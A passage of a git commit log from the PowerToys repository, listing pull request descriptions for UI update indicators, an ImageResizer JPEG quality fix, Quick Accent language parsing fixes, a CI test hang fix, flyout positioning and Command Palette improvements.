- Add 'Update available' context menu item at top of tray menu when
active

### Fix: update icons not deployed (bug fix)
- Add APPICON_UPDATE icon resource to runner.base.rc (iconUpdate.ico was
missing)
- Add CopyFileToFolders entries for iconUpdate.ico,
PowerToysDarkUpdate.ico, and PowerToysWhiteUpdate.ico in runner.vcxproj
- Add all update icon files to installer Core.wxs so they ship in
releases

### UX improvements
- 'Update available' tray menu item now navigates to General page
(Overview) instead of opening Settings to Dashboard
- Update InfoBar severity changed from Success/Informational to Warning
across GeneralPage, LaunchPage, and CheckUpdateControl
- Dashboard update badge gradient and icon refreshed (orange theme,
exclamation glyph)
- AccentButtonStyle applied to 'Install Now' button
- Fixed casing: 'Update Available' to 'Update available'
- Added UpdateAvailableInfoBar.Title resource string
- Add orange update dot to the General navview item

### Screenshots

Before:
<img width="146" height="78" alt="image"
src="https://github.com/user-attachments/assets/c80b8b5f-da94-4cba-92c9-3fcca685653c"
/>

After:

<img width="184" height="104" alt="image"
src="https://github.com/user-attachments/assets/13fc6b34-6e2a-4060-a2f7-f0b6b0d15363"
/>

<img width="150" height="84" alt="image"
src="https://github.com/user-attachments/assets/2673239c-8ce3-437b-947a-1d66803a87ec"
/>

<img width="150" height="100" alt="image"
src="https://github.com/user-attachments/assets/c321deda-770d-47ff-9600-c395f466d444"
/>

<img width="189" height="104" alt="image"
src="https://github.com/user-attachments/assets/2c56d1b7-6615-4d85-80b9-a1cee6413b75"
/>


<img width="473" height="218" alt="image"
src="https://github.com/user-attachments/assets/b0fb59ed-f8bd-40a0-aefd-816a71fc231f"
/>

<img width="1048" height="288" alt="image"
src="https://github.com/user-attachments/assets/29d34e01-f6a9-46c3-a56e-2c50a07718a1"
/>

<img width="206" height="155" alt="image"
src="https://github.com/user-attachments/assets/80e9f77e-aae5-429a-b6be-f0e9f296e929"
/>

<img width="434" height="163" alt="image"
src="https://github.com/user-attachments/assets/7c9d6cd5-fdaa-4b70-a2c0-cff87f5fcf1c"
/>

<img width="379" height="270" alt="image"
src="https://github.com/user-attachments/assets/03e0f60d-a901-45e7-a03a-18be28ec87ed"
/>


## How to test

Since local dev builds use version `0.0.1` which blocks update checks,
you need to temporarily fake an older version:

1. In `src/Version.props`, change `<Version>0.0.1</Version>` to
`<Version>0.87.0</Version>`
2. Optionally, in `src/runner/UpdateUtils.cpp`, change both interval
constants to `1` (minute) for faster testing:
   ```cpp
   constexpr int64_t UPDATE_CHECK_INTERVAL_MINUTES = 1;
   constexpr int64_t UPDATE_CHECK_AFTER_FAILED_INTERVAL_MINUTES = 1;
   ```
3. Build and run the runner
4. Within ~1 minute (with the interval change) or after clicking 'Check
for updates' in Settings > General, the runner will query GitHub and
find a newer version

### Verify
- [ ] Tray icon changes to the update variant (badged with orange dot)
- [ ] Right-clicking the tray icon shows 'Update available' at the top
of the context menu
- [ ] Clicking 'Update available' opens Settings directly to the General
page
- [ ] Settings General page shows the update InfoBar with Warning
severity
- [ ] Dashboard shows the update badge with orange gradient and
exclamation icon
- [ ] Quick Access flyout shows update InfoBar with Warning severity

**Remember to revert Version.props and UpdateUtils.cpp before
committing!**

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-22 16:48:03 +08:00
moooyo
c8ffcb73c3 [ImageResizer] Fix JPEG quality setting ignored after WinUI3 migration (#47134)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Restores honoring of the user-configured JPEG quality — via the Settings
UI slider, the CLI `--quality` flag, or the persisted
`imageresizer_jpegQualityLevel` — when resizing JPEG files. Since the
WinUI3 migration (#45288) any Q value from 1 to 100 produced
byte-identical output at WIC's internal default (~Q90) because the
transcode encoder silently ignored the setting. Only
`src/modules/imageresizer/ui/Models/ResizeOperation.cs` is changed.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47135
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Built `ImageResizerCLI.csproj` in `Release|x64` with
`/p:RuntimeIdentifier=win-x64`; no new warnings. Ran the resulting
`x64\Release\WinUI3Apps\PowerToys.ImageResizerCLI.exe` against a
synthetic test JPEG (`a.jpg` 2373×905, ~240 KB) and both in-tree EXIF
assets:

- `src/modules/imageresizer/tests/TestMetadataIssue1928.jpg` (42 EXIF
properties)
- `src/modules/imageresizer/tests/TestMetadataIssue2447.jpg` (44 EXIF
properties)

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-22 14:46:41 +08:00
Niels Laute
fcfbf83b55 Settings design tweaks + fixes (#47132)
This PR:

- Fixed a UI regression on the ZoomIt page
- Updates the CmdPal settings page to make sure it has the latest links
and imagery
- Updates the New+ assets so they fit inline with all other screenshots
and assets
- Adds missing screenshots to the `docs` folder

Closes: #44521
2026-04-21 14:11:33 +02:00
Niels Laute
de6ba922fd Fixing OOBE and assets for Power Display and Grab And Move (#47033)
## Summary

Adds the out-of-box experience (OOBE) for the new **Grab And Move**
module and refreshes related assets across the repo.

## Changes

### Grab And Move OOBE
- New `OobeGrabAndMove.xaml` / `.xaml.cs` page following the standard
PowerToys OOBE pattern (hero image, How to use, Tips & tricks, Settings
button, Learn more link)
- Wired into `OobeWindow.xaml(.cs)` as a new `NavigationViewItem` so it
appears in the OOBE wizard
- Added localized resource strings (Title, Description, How to use, Tips
and tricks) in `Resources.resw`
- New OOBE animation: `Assets/Settings/Modules/OOBE/GrabAndMove.gif`

### Settings UI polish
- Moved the Grab And Move nav item under *Windowing & Layouts* into its
proper alphabetical position (after FancyZones, before Workspaces)
- Added a "NEW" `InfoBadge` to both the Grab And Move item and its
parent *Windowing & Layouts* group so users can discover the new utility

### Asset refresh
- High-res `GrabAndMove.ico` (replaces the placeholder)
- Updated Settings module icons
(`Assets/Settings/Icons/GrabAndMove.png`,
`Assets/Settings/Modules/GrabAndMove.png`)
- New overview/marketing PNGs under `doc/images/overview/` (large,
small, and original)

### README
- Added **Grab And Move** and **PowerDisplay** to the utilities table in
`README.md`, reflowed alphabetically into a clean 10x3 grid
- New `doc/images/icons/GrabAndMove.png` and
`doc/images/icons/PowerDisplay.png` for the table

## Validation
- Settings UI builds cleanly
- Grab And Move appears in the OOBE wizard navigation and renders
correctly
- "NEW" badges visible on first launch
- README table renders with all 30 utilities, no empty trailing cells

<img width="1307" height="807" alt="image"
src="https://github.com/user-attachments/assets/f8d2ef96-a9f3-4307-9714-c308e216c044"
/>

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-21 06:23:54 +02:00
Dave Rayment
71cb9bc54e [Quick Accent] Fix issue where default "All available" setting is not parsed correctly (#47117)
## Summary of the Pull Request
When first enabled in the Settings application, Quick Accent defaults to
**All available** character sets, but the persisted "ALL" option in the
settings.json file is not understood by the application itself. This
leads to the fallback SPECIAL character set being selected - unbeknownst
to the user - which only contains a small subset of the available
mappings.

This PR also adds two new characters to the Hungarian language, as
requested under #47085.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47113
- [x] Closes: #47085
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

The cause of the issue is:

1. The default `SelectedLang` value for a new Quick Accent settings file
is "ALL", set in `PowerAccentProperties.cs`:
 

5520ae4cfa/src/settings-ui/Settings.UI.Library/PowerAccentProperties.cs (L46)

2. The Settings application understands the "ALL" setting, _but Quick
Accent itself does not_.
3. There is an existing fallback in Quick Accent for when the language
cannot be parsed, which is to select the "SPECIAL" language instead.
This is a grab-bag of mappings for non-language-specific entries such as
cross-cultural punctuation, IPA, currency etc.

The effect is that new users will see that All available character sets
have been selected in the Settings application by default, but that only
a small number of the available mappings will be shown when they trigger
Quick Accent. De-selecting and re-selecting All available will fix the
issue, but a new user is unlikely to do this. This leads to issues being
logged such as #47085, where missing characters are reported, but they
actually are present in the underlying mappings for the language(s).

There is also another issue with `SelectedLang` parsing, in that entries
are compared against the in-built language codes in a case-sensitive
non-trimmed manner. This means that entries such as "FR", "fr" and " FR"
are all distinct. Although this isn't an issue at the moment, it means
that adding new languages or editing the settings file manually is prone
to triggering fall-throughs and the selection of the SPECIAL language
without the user knowing.

The fix here is to:

1. Pre-parse the SelectedLang entries to trim them and remove any empty
values.
2. Do an explicit (case-insensitive) check for "ALL"; if present, all
languages are immediately selected.
3. If "ALL" is not present in the list, do a case-insensitive check for
each entry against the in-built language codes.
4. Reject any non-matches and log a warning. Do not fall through to
auto-select the SPECIAL character set. This respects the principle of
least surprise, and means that the user is never given character options
that they did not explicitly select.

Changes to the Quick Accent application are in `ReadSettings()` in
SettingsService.cs. I have also made the Settings application parsing
more robust, so both it and Quick Accent should be able to correctly
parse entries like "SP, INVALID, EST".

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Follow the manual steps below:

1. Close the Quick Accent process if it is currently running
6. Edit the settings.json file for Quick Accent, and set the
"selected_lang" value to "all" (this setting is no longer
case-sensitive).
7. (Re)start Quick Accent by starting `PowerToys.PowerAccent.exe`.
8. Trigger Quick Accent for the E key and observe the selection dialog
that opens. It should contain E mappings for every language:

<img width="3371" height="155" alt="image"
src="https://github.com/user-attachments/assets/84d709ea-fdcc-4430-8d22-f9732969a20a"
/>

9. Trigger Quick Accent for the Y key and observe the selection dialog
that opens. It should contain Y mappings for every language, including
the Y-With-Diaresis character originally reported as missing:

<img width="1264" height="149" alt="image"
src="https://github.com/user-attachments/assets/ecea3734-e58c-4da6-896b-2e58a9fd05e8"
/>

10. Back in the settings file, change "selected_lang" value to "HR" for
Croatian. Save the file.
11. Trigger Quick Accent for the C key and observe that only the
following mappings are shown:

<img width="1055" height="146" alt="image"
src="https://github.com/user-attachments/assets/69764145-0836-4dfb-8655-3a8a3be7f561"
/>

12. Again, in settings, change the "selected_lang" value to "". Save the
file.
13. Confirm that triggering Quick Accent does not result in an error and
simply does not show the dialog.
14. In settings again, change the "selected_lang" value to "FR, INVALID,
DE" and save.
15. Trigger Quick Accent and confirm that entries for French and German
are available in the dialog.
16. Check the logs and confirm that a warning is present about "INVALID"
not being a valid language and being skipped.

Separately, for the Settings application:

1. Close the PowerToys Runner and ensure Quick Accent and Settings are
not present in the Processes list.
2. Edit the settings.json file for Quick Accent, changing the
"selected_lang" value to "FR, INVALID, DE" and save.
3. Run PowerToys and open the Settings application.
4. On the Quick Accent settings page, ensure that French and German
languages are selected. (Previously, parsing would fail after FR.)
2026-04-21 11:41:25 +08:00
Gordon Lam
8ad571dcde Fix Common.Interop.UnitTests.TestSend infinite hang on CI (#47123)
## Summary

Fixes an infinite hang in Common.Interop.UnitTests.TestSend that caused
the x64 CI job to time out at 80 minutes on retried runs (originally
observed on #47106, but the race is latent in any run that shares a CI
agent with a previous run).

## Root cause

The test used two machine-global named pipes (\\.\pipe\serverside and
\\.\pipe\clientside) as fixed constants, and waited for the pipe
callback with an **unbounded** eset.WaitOne().

If a prior test run on the same CI agent left a pipe handle alive (e.g.
after a job cancellation or a flaky cleanup), the next run's
TwoWayPipeMessageIPCManaged handshake would silently never complete, and
`WaitOne()` would block until the pipeline's job-level timeout (~80
minutes) killed the agent.

## Fix

Two small, orthogonal changes in `InteropTests.cs`:

1. **Unique pipe names per run** — suffix the pipe paths with
`Environment.ProcessId` + a fresh `Guid`, so runs on the same agent can
never collide.
2. **Bounded wait** — `reset.WaitOne(TimeSpan.FromSeconds(30))` wrapped
in `Assert.IsTrue` with a diagnostic message identifying the pipes. A
broken handshake now fails the test in 30 s with a clear error, instead
of hanging the CI job.

The inner `Assert.AreEqual(testString, msg)` — the actual correctness
check — is unchanged. On the happy path the callback fires in
milliseconds and the test behaves identically to before.

## Verification

Built and ran locally with VS2026 MSBuild (x64 Release): `TestSend`
passes in ~139 ms.

## Follow-up (not in this PR)

`TwoWayPipeMessageIPC.cpp` still relies on a `Thread.Sleep(100)` race
workaround (comment in the test) for server-ready timing. A proper
handshake there would let us drop the sleep; out of scope here.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-21 11:08:08 +08:00
Niels Laute
bf00c1b94f [Common][PowerDisplay][QuickAccess] Shared flyout positioning helper (#47097)
## Summary

Introduces a shared FlyoutWindowHelper in Common.UI.Controls and
migrates both **PowerDisplay** and **QuickAccess** to it, eliminating
two pre-existing flyout positioning bugs and removing duplicated math.

## Bugs fixed

### 1. PowerDisplay flyout overlapped the taskbar at 100% scaling
The previous PowerDisplay-only positioning math anchored to the screen
bounds rather than `DisplayArea.WorkArea` on certain monitor
configurations, so the bottom edge of the flyout could land on top of
the taskbar.

### 2. QuickAccess flyout rendered too large / partially off-screen
after switching DPI between 150% and 100%
The previous code passed `WindowEx.Width`/`Height` into `MoveAndResize`
on every summon. Those properties are **not** the XAML literals — they
are computed live as `AppWindow.Size / GetDpiForWindow() * 96`. After a
system-scaling switch, the runtime size has drifted, that wrong "DIP"
value got fed into `MoveAndResize`, and the destination DPI multiplier
scaled it again → wrong size, and the wrong size shifted the
bottom-right anchor off-screen.

QuickAccess now caches the XAML design size once at construction (when
the values are still trustworthy) and uses the cache as the source of
truth.

## How the helper works

- Uses **absolute screen coordinates** against `DisplayArea.WorkArea`,
so it handles non-primary and negatively-positioned monitors correctly.
- Performs a **1×1 `MoveAndResize` "teleport"** onto the target display
before the final visible-size call. The 1×1 jump may cross a DPI
boundary, but it's invisible; the second call sets the real size while
the window is already on the destination monitor, so no DPI boundary is
crossed for the rendered size and `WM_DPICHANGED` never fires on a
visible window.
- Exposes overloads for bottom-right anchoring (both flyouts) and
centered placement (PowerDisplay's `IdentifyWindow`).

This teleport-then-size approach matches the technique the original
Settings.UI flyout used for years before it was removed.

## Cleanup

- Deletes the PowerDisplay-only `DpiSuppressor` — its
WM_DPICHANGED-suppression code path is now dead because the helper
sidesteps the message entirely.
- The `DpiSuppressor` class also doubled as a generic WndProc subclass
to route `WM_HOTKEY` into `HotkeyService`. That piece is preserved as
`WindowMessageHook` in `Common.UI.Controls/Window/` since PowerDisplay
still needs in-process hotkey handling.

## Validation

- `Common.UI.Controls`, `PowerDisplay`, and `QuickAccess` build clean
(x64/Debug).
- Manual repro:
- PowerDisplay flyout no longer overlaps taskbar at 100% scaling, on
multiple invocations.
- QuickAccess renders at the correct size and position when switching
system scaling between 150% and 100%.
- PowerDisplay hotkey toggle still works after the `DpiSuppressor` →
`WindowMessageHook` rename.

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-21 10:20:34 +08:00
Niels Laute
7a89220a91 [QuickAccent] Add en-dash to VK_MINUS for SPECIAL language (#47106)
## Summary of the Pull Request
Add en-dash to the existing dash characters available under the minus
key for the Special Characters set.

This PR re-creates #45965 by @daverayment because that PR's pipeline
appears to have been corrupted. All credit for the change belongs to
@daverayment — the commit on this branch preserves their original
authorship.

## PR Checklist

- [x] Closes: #44030
- [x] Closes: #36805

## Detailed Description of the Pull Request / Additional comments

This PR adds the en-dash '–' character to the VK_MINUS key under the
Special Characters character set, positioned before the em-dash
character.

Although the character is available under VK_COMMA, it should be present
under VK_MINUS, along with the other dash characters.

Previously, en-dash was available for VK_MINUS under the Hebrew
language, so users who selected **All available** character sets (or who
specifically selected Hebrew as a workaround) had access to en-dash via
the minus key. However, this was seen as a duplication of the VK_COMMA
functionality and the character was removed for the Hebrew character set
in #43504. Although this is technically correct, this has understandably
caused confusion for users who relied on the prior behaviour.

The comment on the VK_COMMA for the Special Characters declaration
previously read:

`csharp
// – is in VK_MINUS for other languages, but not VK_COMMA, so we add it
here.
`

That ""for other languages"" is telling. The Hebrew en-dash entry was
removed, and the en-dash mapping for the minus key is not present for
any other language, orphaning the functionality.

## Validation Steps Performed

Original author @daverayment built and ran the updated Quick Accent code
and confirmed that the character was available when only the Special
character set was selected, and that it was absent when that set was
deselected. Confirmed that the character was available under both comma
and minus keys.

Co-authored-by: Dave Rayment <dave.rayment@gmail.com>
2026-04-21 00:59:35 +00:00
Michael Jolley
3a541bb3eb CmdPal: Adding prop to cmdpal.ui.csproj to enable telem in AOT builds (#47121)
This pull request makes a configuration change to the
`Microsoft.CmdPal.UI.csproj` project file to improve telemetry support
for AOT (Ahead-Of-Time) builds.

Project configuration:

* Added the `EventSourceSupport` property and set it to `true` to ensure
telemetry events are triggered correctly when building with AOT.
2026-04-20 19:49:39 -05:00
Niels Laute
f4d23c85a6 [CmdPal Dock] Compact mode (#46699)
## Summary of the Pull Request

This PR introduces the following changes:
- Shaving off a few pixels of the default height in `Top` or `Bottom`
mode.
- A new `Compact` mode that automatically hides the `Subtitle` and is
28px in height.
- Compact mode is only available for Top/Bottom dock positions.
Left/Right always use the Default size.
- The Dock Size settings card is hidden in the settings UI when Left or
Right is selected.
- At runtime, Left/Right positions force `DockSize.Default` regardless
of the persisted setting, ensuring default item styles and appbar sizing
are always used. The user's Compact preference is preserved so switching
back to Top/Bottom restores it.

Stable vs. Compact mode:

<img width="392" height="131" alt="image"
src="https://github.com/user-attachments/assets/f0ac3126-a773-46c6-87da-001fd66c5899"
/>

<img width="929" height="272" alt="image"
src="https://github.com/user-attachments/assets/684c2ea7-449d-4ed2-989d-5066c7f28200"
/>

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx


## Detailed Description of the Pull Request / Additional comments

### Compact mode restricted to Top/Bottom
Compact mode is only supported when the dock is positioned at the Top or
Bottom of the screen. When Left or Right is selected:
- The **Dock Size** settings card is hidden in the dock settings UI.
- The runtime forces \\DockSize.Default\\ so the default band template,
default item styles, and default appbar dimensions are always used.
- The persisted \\DockSize\\ value is **not** cleared — switching back
to Top/Bottom restores the user's previous Compact choice.

### Files changed
- \\DockSettingsPage.xaml\\ / \\.xaml.cs\\ — Conditional visibility for
the Dock Size settings card
- \\DockControl.xaml.cs\\ — Effective size override in
\\UpdateSettings()\\
- \\DockWindow.xaml.cs\\ — \\EffectiveDockSize()\\ helper used for
appbar sizing and change detection

## Validation Steps Performed

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-04-20 16:07:41 +00:00
Jiří Polášek
5e302bed79 CmdPal: Improve indexer plain query search (#46907)
## Summary of the Pull Request

This PR improves File Search:
- Improves simple free-text Windows Search queries with implicit
filename broadening while preserving structured AQS input.
- Adds resilient fallback behavior for noisy or punctuation-heavy
searches by retrying with literal filename matching (fixes failed
searches with `&` or other symbols).
- Surfaces Windows Search availability and indexing-status notices in
the indexer page and fallback item -- if the Windows Search service is
down or unreachable, we show this to the user.
- Extends production time logging.
- Adds documentation of query transformation for maintainers.
- Adds some unit tests to pretend that we care.
 
## Pictures? Pictures!

Error notices:

<img width="890" height="148" alt="image"
src="https://github.com/user-attachments/assets/2370af01-04de-48a5-aa8e-06b95b54571e"
/>

<img width="880" height="369" alt="image"
src="https://github.com/user-attachments/assets/b2afa52b-02f8-4031-a61a-fa1031f86542"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46574
- [X] Closes: #44689
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-20 10:41:27 -05:00
Jiří Polášek
520037e128 CmdPal: Add persistent calculator history (#45307)
## Summary of the Pull Request

This PR adds a persistent memory to Calculator extension and updates
result commands.

<img width="815" height="515" alt="image"
src="https://github.com/user-attachments/assets/e3b84ec4-a399-4c63-a773-76bcdf05f94a"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-20 10:40:49 -05:00
Jiří Polášek
d80d216bef CmdPal: Fix first-open top-level context menus for slow providers (#46626)
## Summary of the Pull Request

This PR fixes opening of the list item context menu through right-click,
which affected mainly 3rd party out-of-process extensions.

- Keeps the first context-menu request alive when a top-level item is
selected but its out-of-proc MoreCommands are still hydrating.
- Short-circuits CanOpenContextMenu when a valid synthetic primary
command is already available, so items with a usable primary action can
open immediately without waiting for late menu hydration.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46625
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-20 10:13:24 -05:00
Michael Jolley
b310c55835 fix(cmdpal): handle unavailable extension packages during loading (#47032)
## Summary of the Pull Request

Fixes a Watson crash where \AppExtension.Package\ throws a COM/HRESULT
exception when the underlying package is in a bad state (being updated,
partially installed, recently uninstalled, or corrupted). Previously,
one bad extension killed the entire extension-loading loop, preventing
**all** extensions from loading.

This adds try-catch guards in \ExtensionService\ at two levels so a
single failing extension is logged and skipped rather than aborting the
enumeration.

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** This is a defensive resilience fix with no behavior
change for the happy path; existing tests still pass
- [ ] **Localization:** N/A — no end-user-facing strings changed (log
messages are developer-facing)
- [ ] **Dev docs:** N/A — no new APIs or features
- [ ] **New binaries:** N/A — no new binaries

## Detailed Description of the Pull Request / Additional comments

**File changed:**
\src/modules/cmdpal/Microsoft.CmdPal.UI.ViewModels/Models/ExtensionService.cs\

Two try-catch blocks added:

1. **\GetInstalledExtensionsAsync\** — wraps the per-extension loop body
(lines 200–211) so that if \CreateWrappersForExtension\ or any property
access on \AppExtension\ throws, the loop continues to the next
extension.

2. **\CreateWrappersForExtension\** — wraps the per-classId wrapper
creation (lines 252–264) so that if the \ExtensionWrapper\ constructor
throws (e.g. \ppExtension.Package\ is unavailable), remaining class IDs
in the same extension still get processed.

Both catch blocks log via \Logger.LogError\ with the extension display
name and error message.

The \InstallPackageUnderLock\ code path also calls
\CreateWrappersForExtension\ and inherits the inner protection
automatically.

## Validation Steps Performed

- Built \Microsoft.CmdPal.UI.ViewModels\ with \ ools/build/build.cmd\ —
exit code 0, no warnings or errors
- Verified no existing tests are broken by the change

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-20 10:12:46 -05:00
moooyo
5520ae4cfa [PowerDisplay] Fix startup restore, volume init, and identify window lifecycle (#47051)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
- **Volume initialization**: Read VCP 0x62 on monitor discovery so
`CurrentVolume` reflects actual hardware state instead of staying at the
50% default.
- **Brightness capability check**: Guard brightness init behind
`SupportsBrightness` flag, consistent with contrast/volume handling.
- **IdentifyWindow lifecycle**: Replace fire-and-forget `Task.Delay`
with `DispatcherQueueTimer` (UI-thread-safe, stoppable on dispose). Swap
`Activate`/`PositionOnDisplay` order to eliminate first-show flicker.
- **Startup restore fix**: Change `MonitorStateEntry` fields to `int?`
so unset values (`null`) aren't confused with zero — prevents writing
default 0% brightness/volume to hardware on startup.
- **Restore/profile apply refactor**: Push value validation down to
`Set*Async` (continuous → `Math.Clamp`, discrete → capabilities check),
extract unified `TryRestore` helper, remove redundant `IsValueInRange`
and `> 0` checks.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
